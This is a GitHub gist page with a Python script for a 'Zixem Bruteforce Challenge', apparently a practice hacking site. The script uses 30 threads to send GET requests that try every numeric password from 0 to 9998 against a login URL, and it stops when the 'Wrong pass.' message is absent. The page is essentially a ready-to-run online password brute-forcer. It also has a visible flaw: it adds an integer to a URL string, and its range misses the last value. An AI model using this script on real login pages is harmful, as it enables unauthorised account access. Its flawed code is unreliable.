-
-
Save ciel334288/fa0879fbf4fecbbba9ff291878536419 to your computer and use it in GitHub Desktop.
Zixem Bruteforce Challenge
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys, os | |
| from requests import get | |
| from queue import Queue | |
| from threading import Thread | |
| pwd_l=Queue() | |
| NTHREADS=30 | |
| URL = 'http://www.zixem.altervista.org/SQLi/login_do.php?pass=' | |
| ERRMSG='Wrong pass.' | |
| class Worker(Thread): | |
| global URL, ERRMSG | |
| def __init__(self): | |
| super(Worker,self).__init__() | |
| def run(self): | |
| while 1: | |
| if pwd_l.empty(): | |
| return | |
| passw = pwd_l.get() | |
| self.login(passw) | |
| pwd_l.task_done() | |
| def login(self, passw): | |
| try: | |
| r=get(URL + passw) | |
| if(ERRMSG in r.text): | |
| pass | |
| else: | |
| print('Password found:', passw) | |
| os.kill(os.getpid(),9) | |
| except Exception as e: | |
| raise e | |
| def main(): | |
| print(f'Starting brute force on {URL}') | |
| for n in range(0,9999): | |
| pwd_l.put(n) | |
| for child in range(NTHREADS): | |
| child = Worker() | |
| child.daemon=True | |
| child.start(); | |
| # wait for children to finish working | |
| pwd_l.join() | |
| if __name__ == '__main__': | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment